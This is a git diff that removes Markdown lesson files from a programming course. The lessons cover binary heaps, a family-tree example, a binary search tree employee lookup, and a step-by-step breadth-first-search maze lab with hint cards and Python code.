- i = mc
-
-def minChild(self,i):
- if i * 2 + 1 > self.currentSize:
- return i * 2
- else:
- if self.heapList[i*2] < self.heapList[i*2+1]:
- return i * 2
- else:
- return i * 2 + 1
-```
-
-
-
-The code for the `delmin` operation is defined below. Note that once again the hard work is handled by a helper function, in this case `percDown`.
-
-```python
-def delMin(self):
- retval = self.heapList[1]
- self.heapList[1] = self.heapList[self.currentSize]
- self.currentSize = self.currentSize - 1
- self.heapList.pop()
- self.percDown(1)
- return retval
-```
-
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/4.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/4.md
deleted file mode 100644
index d34bb00b..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/4.md
+++ /dev/null
@@ -1,25 +0,0 @@
-
-
-
-
-
-
-To finish our discussion of binary heaps, we will look at a method to build an entire heap from a list of keys. The first method you might think of may be like the following. Given a list of keys, you could easily build a heap by inserting each key one at a time. Since you are starting with a list of one item, the list is sorted and you could use binary search to find the right position to insert the next key at a cost of approximately 𝑂(log𝑛) operations. However, remember that inserting an item in the middle of the list may require 𝑂(𝑛) operations to shift the rest of the list over to make room for the new key. Therefore, to insert 𝑛 keys into the heap would require a total of 𝑂(𝑛log𝑛) operations. However, if we start with an entire list then we can build the whole heap in 𝑂(𝑛) operations. Below shows the code to build the entire heap:
-
-```python
-def buildHeap(self,alist):
- i = len(alist) // 2
- self.currentSize = len(alist)
- self.heapList = [0] + alist[:]
- while (i > 0):
- self.percDown(i)
- i = i - 1
-```
-
-To visually interpret how the heap is built, with the above function, the below figure will depict how it is built:
-
-
-
-> Figure 4: Building a Heap from the List [9, 6, 5, 2, 3]
-
-Figure 4 shows the swaps that the `buildHeap` method makes as it moves the nodes in an initial tree of [9, 6, 5, 2, 3] into their proper positions. Although we start in the middle of the tree and work our way back toward the root, the `percDown` method ensures that the largest child is always moved down the tree. Because the heap is a complete binary tree, any nodes past the halfway point will be leaves and therefore have no children. Notice that when `i=1`, we are percolating down from the root of the tree, so this may require multiple swaps. As you can see in the rightmost two trees of [Figure 4](https://runestone.academy/runestone/books/published/pythonds/Trees/BinaryHeapImplementation.html#fig-buildheap), first the 9 is moved out of the root position, but after 9 is moved down one level in the tree, `percDown` ensures that we check the next set of children farther down in the tree to ensure that it is pushed as low as it can go. In this case, it results in a second swap with 3. Now that 9 has been moved to the lowest level of the tree, no further swapping can be done. It is useful to compare the list representation of this series of swaps as shown in [Figure 4](https://runestone.academy/runestone/books/published/pythonds/Trees/BinaryHeapImplementation.html#fig-buildheap) with the tree representation.
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/5.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/5.md
deleted file mode 100644
index eba13b80..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/5.md
+++ /dev/null
@@ -1,104 +0,0 @@
-
-
-
-
-
-
-Now with our complete implementation of our Binary Heap (Min Heap):
-
-```python
-class BinHeap:
- def __init__(self):
- self.heapList = [0]
- self.currentSize = 0
-
- def percUp(self,i):
- while i // 2 > 0:
- if self.heapList[i] < self.heapList[i // 2]:
- tmp = self.heapList[i // 2]
- self.heapList[i // 2] = self.heapList[i]
- self.heapList[i] = tmp
- i = i // 2
-
- def insert(self,k):
- self.heapList.append(k)
- self.currentSize = self.currentSize + 1
- self.percUp(self.currentSize)
-
- def percDown(self,i):
- while (i * 2) <= self.currentSize:
- mc = self.minChild(i)
- if self.heapList[i] > self.heapList[mc]:
- tmp = self.heapList[i]
- self.heapList[i] = self.heapList[mc]
- self.heapList[mc] = tmp
- i = mc
-
- def minChild(self,i):
- if i * 2 + 1 > self.currentSize:
- return i * 2
- else:
- if self.heapList[i*2] < self.heapList[i*2+1]:
- return i * 2
- else:
- return i * 2 + 1
-
- def delMin(self):
- retval = self.heapList[1]
- self.heapList[1] = self.heapList[self.currentSize]
- self.currentSize = self.currentSize - 1
- self.heapList.pop()
- self.percDown(1)
- return retval
-
- def buildHeap(self,alist):
- i = len(alist) // 2
- self.currentSize = len(alist)
- self.heapList = [0] + alist[:]
- while (i > 0):
- self.percDown(i)
- i = i - 1
-```
-
-We can now test it out by generating a binary heap and then deleting the minimum element to determine if the functionality of our heap operates properly. Below we will define our binary heap `bh` by calling for the class constructor to intialize our structure. Then we will build our heap by passing in a list of elements.
-
-```python
-bh = BinHeap()
-bh.buildHeap([9,6,5,2,3])
-```
-
-For reference, given the list `[9, 6, 5, 2 ,3]`, our implementation should produce the *Initial Heap* that is shown below:
-
-
-
-To test if our Binary Heap functions appropriately as a Min Heap, we can call `delMin()` to retrieve the minimum value in our tree on each call.
-
-```python
-print(bh.delMin())
-print(bh.delMin())
-print(bh.delMin())
-print(bh.delMin())
-print(bh.delMin())
-```
-
-
-
-After the first delete min, it retrieves node 2 and the tree on the right is the final result.
-
-
-
-The second `delMin()` retrieves node 3.
-
-
-
-The third `delMin()` retrieves node 5.
-
-
-
-The fourth `delMin()` retrieves node 6.
-
-
-
-The fifth `delMin()` retrieves node 9.
-
-After calling `delMin()` five times, since we only have five values in our Binary Heap, we should observe that the print statements will output our list from least to greatest which indicates our Binary/Min Heap functions as such!
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/6.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/6.md
deleted file mode 100644
index e0e28412..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/6.md
+++ /dev/null
@@ -1,72 +0,0 @@
-
-
-
-
-
-
-Now that we have learned the basic concepts associated with trees, let's do an activity together that walks through a real life application of data trees to cement our understanding.
-
-As I mentioned prior, a place where a data tree occurs in your real life is with the relationships in your family. For the activity, we will make a data tree in Python using the `Node` class that will be a representation of a family.
-
-#### Family Tree:
-
-For our family tree, we want to hold the **name**, **age**, **gender**, and **favorite sport** for each member of the family. Therefore, we must slightly modify our `Node` class to allow us to encompass that data.
-
-```Python
-class Node:
- def __init__(self, name, age, gender, sport):
- self.key = name
- self.age = age
- self.gender = gender
- self.sport = sport
- self.children = []
-
- def insert_child(self, newChild):
- self.children.append(newChild)
-```
-
-As you may have noticed, we added arguments to the `Node` class initializer function that we will use to let us store the important data we want to store about each family member. Notice that we are now assigning the name of the family member to be the key that we identify each node as, which is an implementation choice. You could really use any data aspect as the key for each family member. It is just what we will use to identify a certain node.
-
-##### Building the Tree:
-
-Now that we have our new `Node` class, let's start initializing some family members to start building the ancestry tree. For the **root** of the family tree, we want to use the grandmother of the family. Let's say the grandmother of the family's name is **Susan**, she is **92** years old, and her favorite sport is **bowling**. Let's initialize her `Node` object:
-
-```Python
-grandma = Node("Susan", 92, "female", "bowling")
-```
-
-Now that we have a node for grandma Susan, let's say she has 3 children. Let's create some node objects for her children:
-
-```Python
-mary = Node("Mary", 57, "female", "soccer")
-joe = Node("Joe", 61, "male", "football")
-don = Node("Don", 63, "male", "tennis")
-```
-
-We have declared node objects for all of Susan's children but we have not indicated in our code that they are her children yet. In order to do so, we can use the `insert_child` function in the `Node` class on Susan's object.
-
-```Python
-grandma.insert_child(mary)
-grandma.insert_child(joe)
-grandma.insert_child(don)
-```
-
-After making those 3 calls, grandma.children will now be a list that holds the node instances mary, joe, and don. We have essentially drawn edges between grandma and mary, grandma and joe, and grandma and don.
-
-Let's say that Joe got married and had 2 children. Although we could adjust our tree structure to include Joe's spouse, let's keep our tree simple for now and only show grandma Susan's direct descendants. Let's create the `Node` instances for Joe's 2 children:
-
-```Python
-ricky = Node("Ricky", 34, "male", "basketball")
-kelly = Node("Kelly", 35, "female", "tennis")
-```
-
-Now let's connect them to Joe's node with edges:
-
-```Python
-joe.insert_child(ricky)
-joe.insert_child(kelly)
-```
-
-We have now successfully created a simple family tree using data trees in Python. For practice, try drawing out the family tree we just created on paper. Also, for more practice, try implementing your own family tree in Python.
-
-
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/7.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/7.md
deleted file mode 100644
index aee6ac98..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/7.md
+++ /dev/null
@@ -1,82 +0,0 @@
-
-
-
-
-
-
-> **For BSTs, make a simple database example, be able to search members by ID**
-
-Now to further enhance your comprehension for Binary Search Tree's, we will use a Binary Search Tree in an example real-world application in order for you to see the purpose behind this algorithm.
-
-Consider that we are admins for a corporation that has many employees and we must have some sort of way to keep track of each employee in our database system. We need an efficient way of searching for particular employees based on their employee identification number. Each employee has a distinct identification number, so we will use a Binary Search Tree as our structure that stores the employees' ID numbers which represent the nodes.
-
-```python
-# Python program to demonstrate insert operation in a binary search tree
-
-# A utility class that represents an individual node in a BST
-class Node:
- def __init__(self,key,name):
- self.left = None
- self.right = None
- self.val = key
- self.employeeName = name
-
-# A utility function to insert a new node with the given key
-def insert(root,node):
- if root is None:
- root = node
- else:
- if root.val < node.val:
- if root.right is None:
- root.right = node
- else:
- insert(root.right, node)
- else:
- if root.left is None:
- root.left = node
- else:
- insert(root.left, node)
-
-# A utility function to do inorder tree traversal
-def inorderID(root):
- if root:
- inorderID(root.left)
- print(root.val)
- inorderID(root.right)
-
-def inorderName(root):
- if root:
- inorderName(root.left)
- print(root.employeeName)
- inorderName(root.right)
-
-# A utility function to search a given key in BST
-def search(root,key):
-
- # Base Cases: root is null or key is present at root
- if root is None or root.val == key:
- print(root.employeeName)
- return root
-
- # Key is greater than root's key
- if root.val < key:
- return search(root.right,key)
-
- # Key is smaller than root's key
- return search(root.left,key)
-
-
-r = Node(50, "Abel")
-insert(r,Node(30, "Bob"))
-insert(r,Node(20, "Cathy"))
-insert(r,Node(40, "Debbie"))
-insert(r,Node(70, "Evan"))
-insert(r,Node(60, "Fiona"))
-insert(r,Node(80, "Gabriel"))
-
-# Print inoder traversal of the BST
-inorderID(r)
-inorderName(r)
-search(r, 20)
-```
-
diff --git a/Module4_Labs/.DS_Store b/Module4_Labs/.DS_Store
deleted file mode 100644
index 655d63fc..00000000
Binary files a/Module4_Labs/.DS_Store and /dev/null differ
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/1.md b/Module4_Labs/Lab1_BFS_Maze/Cards/1.md
deleted file mode 100644
index 4d078deb..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/1.md
+++ /dev/null
@@ -1,31 +0,0 @@
-
-
-
-
-
-
-For this lab you will be coding a breadth-first search algorithm for navigating a maze. We have provided most of the code necessary to make this maze program possible.
-
-
-
-There are 8 different "mazes" stored in .txt files, and functionalities for loading a maze from a .txt file and printing the maze and path have already been provided. In addition, a`main()` function is provided. All of this code should be left untouched.
-
-You will be computing the shortest path using BFS. To do this, you will first program `findStart()` and `findEnd()`, which finds the start and end coordinates given a maze text file. Then you will program a function that finds the neighbors of any space given its coordinates and a maze. This will all come in handy when you make a BFS algorithm to find the shortest path in the `BFS()` function.
-
-Before starting, we recommend you open the maze text files to get a feel for the formatting of the maze. Asterisks (*) represent walls, the letter 's' is the start and the letter 'e' is the end. Dots ('.') represent possible maze paths.
-
-
-| Symbol | Meaning |
-| ------ | ------- |
-| s | start |
-| e | end |
-| . | paths |
-| * | Walls |
-
-
-
-
-
-
-Please start off with `findStart()`. This method should accept a predefined maze text file and then return the start coordinates of any maze in tuple form. Maze text files are provided.
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/11.md b/Module4_Labs/Lab1_BFS_Maze/Cards/11.md
deleted file mode 100644
index 2e7eb049..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/11.md
+++ /dev/null
@@ -1,53 +0,0 @@
-
-
-
-
-
-**Step 1: What You Are Given**
-
-In order to access the maze from the maze file, you are given the following function:
-
-```python
-def readMazeFromFile(f):
- maze = list()
- with open(f) as file:
- for line in file:
- maze.append(list(line.rstrip()))
- return maze
-```
-**Step 2: Breaking Down readMazeFromFile(f)**
-
-We start by constructing a list type object with the name maze. This will be where we store the contents of the maze file. For the purposes of this lab, this list is essentially an array and we will refer to it as such from here on.
-
-```python
- maze = list()
-```
-
-Next, we will need to access the contents of the maze file, which we can do by designating the file we want to open with the following code:
-
-```python
-with open(f) as file:
-```
-
-Now that we have designated the function argument f as the file we want to open, we run a for loop in which we iterate over each line in our maze file f.
-
-```python
-for line in file:
-```
-
-We add whatever is on each line of our maze file as an element of our maze array, making sure to strip each line of whitespace using line.rstrip()
-
-```python
-maze.append(list(line.rstrip()))
-```
-
-Finally we return the contents of the list maze to end the function call.
-
-```python
-return maze
-```
-**Step 3: Using What We Know**
-
-By looking at how the maze file is read, we now know that any maze is represented as a 2D array of characters.
-
-We can simply loop through this 2D array of characters until the letter 's' (start coordinates) is found. We can then return that tuple of start coordinates wherever our 's' is.
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/111.md b/Module4_Labs/Lab1_BFS_Maze/Cards/111.md
deleted file mode 100644
index 8bf75b7d..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/111.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-
-
-
-
-
-**Step 1: Iterating through the 2D array**
-
-To iterate through a 2D array, we will have to use nested for loops and the `range` function to determine the number of iterations needed:
-
-```python
-for i in range(len(maze)): # len(maze) is the length of a row
- for j in range(len(maze[0])): # len(maze[0]) is the length of a column - always uniform
-```
-
-We need to use a nested `for` loop because of the fact that our maze is made out of a 2D array, we have to firstly loop through each row and then we go through each element in each row.
-
-Reminder how the `range` function works
-
-```python
-for i in range(n):
- print(i)
-```
-
-`i` will take the values of `[0,1,2, ... , n-1]`
-
-**Step 2: Finding the letter `s`**
-
-Within these nested for loops, we check if each maze 'cell' is equal to the letter 's', if so we return the tuple([i, j]):
-
-```python
- if maze[i][j] == 's':
- return tuple([i, j])
-```
-
-Once we found the letter 's' then we have found the starting tuple and we can terminate the function. We do so by returning the tuple and the function will terminate.
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/2.md b/Module4_Labs/Lab1_BFS_Maze/Cards/2.md
deleted file mode 100644
index a9f1f49a..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/2.md
+++ /dev/null
@@ -1,7 +0,0 @@
-
-
-
-
-
-
-Now code the `findEnd()` function. This method should accept a predefined maze text file and then return the end coordinates of any maze in tuple form. It should look very similar to `findStart()`. Remember that we are looking for the letter `e` for the end tuple. The logic for the `findEnd()` function would be exactly the same as `findStart()`.
\ No newline at end of file
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/21.md b/Module4_Labs/Lab1_BFS_Maze/Cards/21.md
deleted file mode 100644
index 5a6fcdaa..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/21.md
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-If we look at how the maze file is read, any maze is represented as a 2D array of characters. We can simply loop through this 2D array of characters until the letter 'e' (endcoordinates) is found. We can then return that tuple of start coordinates wherever our 'e' is.
-
-
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/211.md b/Module4_Labs/Lab1_BFS_Maze/Cards/211.md
deleted file mode 100644
index 6bf021a0..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/211.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
-
-
-
-
-To iterate through a 2D array, we will have to use for loops and the `range` function to determine the number of iterations needed:
-
-```python
-for i in range(len(maze)): # len(maze) is the length of a row
- for j in range(len(maze[0])): # len(maze[0]) is the length of a column - always uniform
-```
-
-Within these nested for loops, we check if each maze 'cell' is equal to the letter 'e', if so we return the tuple([i, j]):
-
-```python
- if maze[i][j] == 'e':
- return tuple([i, j])
-```
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/3.md b/Module4_Labs/Lab1_BFS_Maze/Cards/3.md
deleted file mode 100644
index dbcb6a80..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/3.md
+++ /dev/null
@@ -1,29 +0,0 @@
-
-
-
-
-
-
-`getAdjacentSpaces()` should get all neighbors of a space in a given maze. It should return a list of adjacent neighbors (tuples of spaces) that have not been visited. Valid neighbors in this case mean the possible directions one can go in the maze (meaning that they shouldn't be walls and should not have been visited yet).
-
-**Parameters of `getAdjacentSpaces()`**
-
-The function will take in 3 parameters which are:
-
-* `maze` - This is the 2D array maze
-
-* `space` - This is a `tuple` which will contain the coordinates of the current space that we are searching on, we want to find the available adjacent spaces around this coordinate.
-
-* `visited` - This is a `list` of all the spaces we have visited. We will use this `list` to check whether a neighbor can be found `in` this list, if so then it means that the neighbor has already been visited and thus it will not be a valid neighbor. We need to check whether a neighbor has been visited or not because we do not want to process again the spaces which we have visited. Revisitting visited spaces can create an endless cycle of searching.
-
-
-Our function should simply try to look at the surrounding spaces and see whether the spaces around it is a valid neighbor. We could do our search in a well defined order of clockwise direction, starting from looking at the neighbor in the North , then East, then South, and finally West.
-
-Again, the available neighbors should have these 2 conditions:
-* It is not a wall [ * ]
-* It has not been visited
-
-**Important Note**
-The output of the program should check the directions in the order that was mentioned above (N,E,S,W), make sure that it does this when you submit the code.
-
-
\ No newline at end of file
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/31.md b/Module4_Labs/Lab1_BFS_Maze/Cards/31.md
deleted file mode 100644
index 86fb1593..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/31.md
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
-
-
-
-**Step 1: Visualizing The Maze**
-
-To help you visualize what the maze will look like as a 2D array, consult the following image:
-
-
-
-**Step 2: Recognizing Coordinate Points As Tuples**
-
-As you can see, elements of a 2D array can be represented by coordinate points. For example, in this image the coordinate point (2,2) refers to element C2 in the array. These coordinate points can be represented as tuples in Python.
-
-**Step 3: Generating A List Of Neighbors**
-
-In order to return a list of non-visited neighbors, we first need to generate all neighbors. Each space will only have four neighbors in the north, south, west and east directions. Keep track of a list of coordinates(tuples) that are their neighbors in a list.
-
-**hint:** think of how we can find the index of neighbors in relation to the index of the space.
-
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/311.md b/Module4_Labs/Lab1_BFS_Maze/Cards/311.md
deleted file mode 100644
index 42048081..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/311.md
+++ /dev/null
@@ -1,56 +0,0 @@
-
-
-
-
-
-
-### Spaces
-
-##### Step 1: Coordinate Pairs
-
-Spaces are essentially represented by coordinates of the 2-D maze. Coordinates in two dimensions have horizontal and a vertical component. In our case, we are going to store the row and column components as part of a **pair**. This keyword is critical in deciding which variable to use, and we are going to select **tuples**. Tuples are sequences and can store different fields as one object, which is invaluable for our purposes.
-
-##### Step 2: Finding Adjacent Spaces
-
-Given a space `space`, we can find the row of the `space` with `space[0]` (since the first part of the pair of coordinates represents the row) and column of the `space` with `space[1]`. Following this logic:
-
-* The space to the north would be represented as `(space[0] - 1, space[1])`.
-* The space to the south would be represented as `(space[0] + 1, space[1])`.
-* The space to the west would be represented as `(space[0], space[1] - 1)`.
-* The space to the east would be represented as `(space[0], space[1] + 1)`.
-
-### Code in Python
-
-##### Step 1: Create list `spaces`
-
-We have to create our list of spaces. We can use a Python **list** structure because we will be adding multiple space elements to the list. Remember that `spaces` are tuples, it is totally okay to have a list of tuples :
-
-```python
-spaces = list()
-```
-
-##### Step 2: Append Directions
-
-When appending directions, we simply copy the code we had written in step 2 of the previous section and append the space. Here is how we would append north:
-
-```python
-spaces.append((space[0]-1, space[1])) # Up
-```
-
-In a similar manner we can append the space to the south:
-
-```python
-spaces.append((space[0]+1, space[1])) # Down
-```
-
-And to the left:
-
-```python
-spaces.append((space[0], space[1]-1)) # Left
-```
-
-And to the right:
-
-```python
-spaces.append((space[0], space[1]+1)) # Right
-```
\ No newline at end of file
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/32.md b/Module4_Labs/Lab1_BFS_Maze/Cards/32.md
deleted file mode 100644
index dffc562a..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/32.md
+++ /dev/null
@@ -1,21 +0,0 @@
-
-
-
-
-
-**Step 1: Check If Each Neighbor Has Been Visited**
-
-Now that we have a list of neighboring spaces, we have to check if each neighboring space has been visited or not. We must do this because if a neighboring space has already been visited, then we don't want our BFS to process that space again.
-
-
-
-(Allowing the BFS to process the same node twice in the above example could result in node K never been processed)
-
-**Step 2: Creating A List Of Non-Visited Neighbors**
-
-Initialize another list to be the **non-visited** neighbors.
-
-For each neighboring space, if the neighboring space is not a wall and has not been visited yet then add this neighbor to the list of non-visited neighbors.
-
-Then return this list.
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/321.md b/Module4_Labs/Lab1_BFS_Maze/Cards/321.md
deleted file mode 100644
index d34fe6e1..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/321.md
+++ /dev/null
@@ -1,31 +0,0 @@
-
-
-
-
-
-
-##### Step 1: Setup
-
-We'll keep track of a list `final` to store the final neighbors to be returned.
-
-We then iterate through the list of neighboring spaces.
-
-```
-final = list()
-for i in spaces:
-```
-
-##### Step 2: Check for Walls
-
-We first check if the space is a wall by indexing the maze at the given coordinates `i[0]` and `i[1]` and see if that character is equal to `'*'`.
-
-##### Step 3: Check if Visited
-
-Then we also check if the space `i` has been visited already. We can do this by using a list called `visited` and adding all visited spaces to it as they are encountered. If it has not been visited, we append the neighbor to `final`.
-
-```python
-# for loop above
- if maze[i[0]][i[1]] != '*' and i not in visited:
- final.append(i)
- return final
-```
\ No newline at end of file
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/4.md b/Module4_Labs/Lab1_BFS_Maze/Cards/4.md
deleted file mode 100644
index f96727a3..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/4.md
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-
-
-
-
-Please reference the starter code for details on `BFS()`, as well as how it is used in `main()`.
-
-For the final part of our code, implement a BFS search algorithm for this problem that looks at all the paths until the shortest path is found.
-
-- Bear in mind that you will have to do some code maneuvering in the very first iteration of your while loop because tuples are an `immutable` data structure in Python (what this means is that tuples can not be changed after they have been created).
-- Take a second to think about which coordinate pair should the search be started on.
-
-
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/41.md b/Module4_Labs/Lab1_BFS_Maze/Cards/41.md
deleted file mode 100644
index 71a2eb28..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/41.md
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-To start off, what data structures will you need to initialize for BFS? Remember, a BFS is a "breadth-first search" meaning that every space surrounding the current space should be searched before any other spaces in the maze. There are two data structure we need: one for keeping track of the coordinates to be searched, and one for the coordinates already visited.
-
-Reminder: you are able to generate the available neighboring spaces with the `getAdjacentSpaces()` method. This will be useful to determine which coordinates to search in each iteration.
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/411.md b/Module4_Labs/Lab1_BFS_Maze/Cards/411.md
deleted file mode 100644
index 85b08b2a..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/411.md
+++ /dev/null
@@ -1,40 +0,0 @@
-
-
-
-
-
-
-Here is the entire BFS pseudocode for your reference: (this will be available on every Easy card)
-
-```pseudocode
-initialize a queue Q with start # this section covers this line
-initialize a set V tracking visited spaces # this section covers this line
-
- while Q is not empty:
- path = Q.pop()
- last = last node in path
-
- if last == end
- return path
- else if last is not in V
- for all spaces adjacent to last but not in V do
- newPath = array(path)
- newPath.append(adjacentSpace)
- add newPath to the queue
- V.add(last)
- return null
-```
-
-We use a queue to keep track of the paths that will be searched. This queue is always initialized with just the start coordinates as our starting point. The reason being is that a queue is a "first in first out" data structure— whatever space we put in the queue, we are guaranteed it will be considered before the addition of any other spaces. This is useful for our algorithm to make sure it does not get ahead of itself and respects the breath-first rule.
-
-Then we use a set to keep track of the coordinates that have already been visited - if a set of coordinates has already been visited, we've already looked at their neighbors, there's no need to go back to them! We also use a set because we don't care about the order of the visited coordinates.
-
-## Code in Python
-
-```python
-queue = [start]
-visited = set()
-```
-
-Note that the `queue` is intialized with the starting coordinate and `visited` is empty because no spaces have yet been visited. The algorithm is now ready to be run.
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/42.md b/Module4_Labs/Lab1_BFS_Maze/Cards/42.md
deleted file mode 100644
index 6eb30474..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/42.md
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-
-
-
-
-The BFS algorithm has to start with the start coordinates given.
-
-Additionally, one of data structures will store a growing list of paths to be taken. During each iteration you will remove the first path from the list and store its last coordinates. You will need the last coordinate to know if you've reached the end coordinate or to grow your path by analyzing its neighbors.
-
-Basically, store the first path, find its last coordinate, and store that last coordinate for further querying.
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/421.md b/Module4_Labs/Lab1_BFS_Maze/Cards/421.md
deleted file mode 100644
index ffa6a829..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/421.md
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
-
-Here is the entire BFS pseudocode for your reference: (this will be available on every Easy card)
-
-```pseudocode
-initialize a queue Q with start
-initialize a set V tracking visited spaces
-
- while Q is not empty: # this section covers this line
- path = Q.pop()
- last = last node in path # to this line
-
- if last == end
- return path
- else if last is not in V
- for all spaces adjacent to last but not in V do
- newPath = array(path)
- newPath.append(adjacentSpace)
- add newPath to the queue
- V.add(last)
- return null
-```
-
-We always want to get the first path from our queue and use this path for this iteration, but remove for future iterations. We will use the `pop()` method to simultaneously get the first path for this iteration and remove it from the queue.
-
-The path variable holds our current known shortest path. Eventually, we will `pop` a path from the queue and discover that the last element of the path is the `end` coordinate, at this moment we can return this shortest path.
-
-### Technicality with Tuples
-
-On the very first iteration, the queue only consists of starting coordinates (row, col). If the starting coordinates are `(4, 7)`, the queue would be `[(4, 7)]`. If we pop the first element from the queue, then what would return would not be a path, but simply a tuple of coordinates, in this case just the tuple `(4, 7)`. Because the rest of the BFS algorithm depends on the path being a list of coordinates and not just a tuple, we have to give special treatment in this case. So we check if the first path in the queue just consists of the start coordinates, and if so we make the start tuple a list in order to conform with the rest of the algorithm. This will only occur on the very first iteration, when the first path consists of just one tuple: the start coordinates. Otherwise, the program proceeds as normal, popping the first path in the list.
-
-With the given path, we also get the last coordinates of the path using negative indexing: `path[-1]`.
-
-## Code in Python
-
-```python
-while len(queue) != 0:
- if queue[0] == start:
- path = [queue.pop(0)] # Required due to a quirk with tuples in Python
- else:
- path = queue.pop(0)
- last = path[-1]
-```
-Here we can see that the `last` variable holds the last coordinate of the current path reached.
-This `last` coordinate signifies that we have reach this far! But we have not yet found the path to the end yet. So we take this `last` tuple and continue our search from it until we eventually find that our `last` tuple is the end coordinates.
-
-We see here that the while loop will terminate once our queue size reach 0. Remember that the queue holds a collection of paths that we want to check, once the size of the queue reached 0 means that there are no more paths that we want to check.
\ No newline at end of file
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/43.md b/Module4_Labs/Lab1_BFS_Maze/Cards/43.md
deleted file mode 100644
index c180f055..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/43.md
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-Check if the last coordinate is indeed the end coordinates, and return the current path if that is the case.
-
-Otherwise, check if the last coordinate has already been "visited", and if that is not the case, find all neighbors of the last coordinate. Then for each neighbor, add the neighbor to the current path and append that path to your data structure containing all the paths to be searched.
-
-Add the last coordinate to your data structure containing all the visited coordinates.
-
diff --git a/Module4_Labs/Lab1_BFS_Maze/Cards/431.md b/Module4_Labs/Lab1_BFS_Maze/Cards/431.md
deleted file mode 100644
index 9de4e521..00000000
--- a/Module4_Labs/Lab1_BFS_Maze/Cards/431.md
+++ /dev/null
@@ -1,70 +0,0 @@
-
-
-
-
-
-
-Here is the code continued from previous parts:
-
-```python
-while len(queue) != 0:
- # ... rest of while loop code
-
- else:
- # next 2 lines from last hint
- path = queue.pop(0)
- last = path[-1]
-```
-
-
-
-We first do a simple equality check if the last coordinate is indeed the end coordinates. If that is the case, then our current path is indeed one of the shortest possible paths, and we return the current path.
-
-```python
- if last == end:
- return path
-```
-
-
-
-Then we check if the last coordinate has already been visited, in other words if `last` is in our set `visited`.
-
-```python
- elif last not in visited:
-```
-
-
-
-If we have not visited the last coordinate in this path yet, we iterate through all its neighbors, and for each neighbor we append the neighbor to the existing path and add it to the queue. The method `getAdjacentSpaces()` allows us to very simply iterate through all the neighbors. Lastly, we add the last coordinate to your data structure containing all the visited coordinates.
-
-```python
- for adjacentSpace in getAdjacentSpaces(maze, last, visited):
- # iterate through neighbors
- newPath = list(path) # to use append function
- newPath.append(adjacentSpace)
- queue.append(newPath)
- visited.add(last) # add last coordinate to visited
-return None
-```
-Let's see what the `newPath` variable is doing. We first copy the current `path` variable into `newPath` and afterwards we append the newly found `adjacentSpace` into this `newPath` variable. Thus from doing this we have actually created a new path that we would like to traverse in the next iteration. Therefore we would want to add this `newPath` for processing by adding it to the `queue`.
-
-## Code in Python
-
-```python
-while len(queue) != 0:
- # ... rest of while loop code
-
- else:
- # next 2 lines from last hint
- path = queue.pop(0)
- last = path[-1]
- if last == end:
- return path
- elif last not in visited:
- for adjacentSpace in getAdjacentSpaces(maze, last, visited): # iterate through neighbors
- newPath = list(path) # to use append function
- newPath.append(adjacentSpace)
- queue.append(newPath)
- visited.add(last) # add last coordinate to visited
-return None
-```
\ No newline at end of file
